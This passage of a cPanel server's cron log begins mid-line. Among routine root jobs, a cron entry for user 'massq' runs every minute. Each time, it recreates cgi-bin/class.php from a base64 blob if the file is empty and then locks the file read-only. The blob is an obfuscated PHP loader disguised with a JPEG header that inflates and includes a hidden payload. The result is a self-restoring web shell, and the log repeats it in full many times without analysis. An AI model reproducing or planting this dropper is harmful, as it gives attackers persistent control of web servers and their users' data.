htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:37:01 server CROND[19304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:37:01 server CROND[19305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:37:01 server CROND[19306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:38:01 server CROND[19670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:38:01 server CROND[19671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:38:01 server CROND[19672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:39:02 server CROND[20148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:39:02 server CROND[20149]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 14:39:02 server CROND[20150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:39:02 server CROND[20151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:40:01 server CROND[20534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:40:01 server CROND[20537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:40:01 server CROND[20540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:40:01 server CROND[20542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:40:01 server CROND[20539]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:40:01 server CROND[20536]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 14:40:01 server CROND[20538]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 14:40:01 server CROND[20541]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 14:41:01 server CROND[21347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:41:01 server CROND[21348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:41:01 server CROND[21349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:42:01 server CROND[21713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:42:01 server CROND[21714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:42:01 server CROND[21715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:42:01 server CROND[21716]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 14:43:01 server CROND[22080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:43:01 server CROND[22081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:43:01 server CROND[22082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:44:01 server CROND[22556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:44:01 server CROND[22557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:44:01 server CROND[22558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:45:01 server CROND[23104]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 14:45:01 server CROND[23105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:45:01 server CROND[23109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:45:01 server CROND[23118]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 14:45:01 server CROND[23119]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:45:01 server CROND[23122]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:45:01 server CROND[23124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:46:01 server CROND[23931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:46:01 server CROND[23933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:46:01 server CROND[23932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:47:01 server CROND[24298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:47:01 server CROND[24299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:47:01 server CROND[24300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:48:01 server CROND[24666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:48:01 server CROND[24667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:48:01 server CROND[24668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:49:01 server CROND[25150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
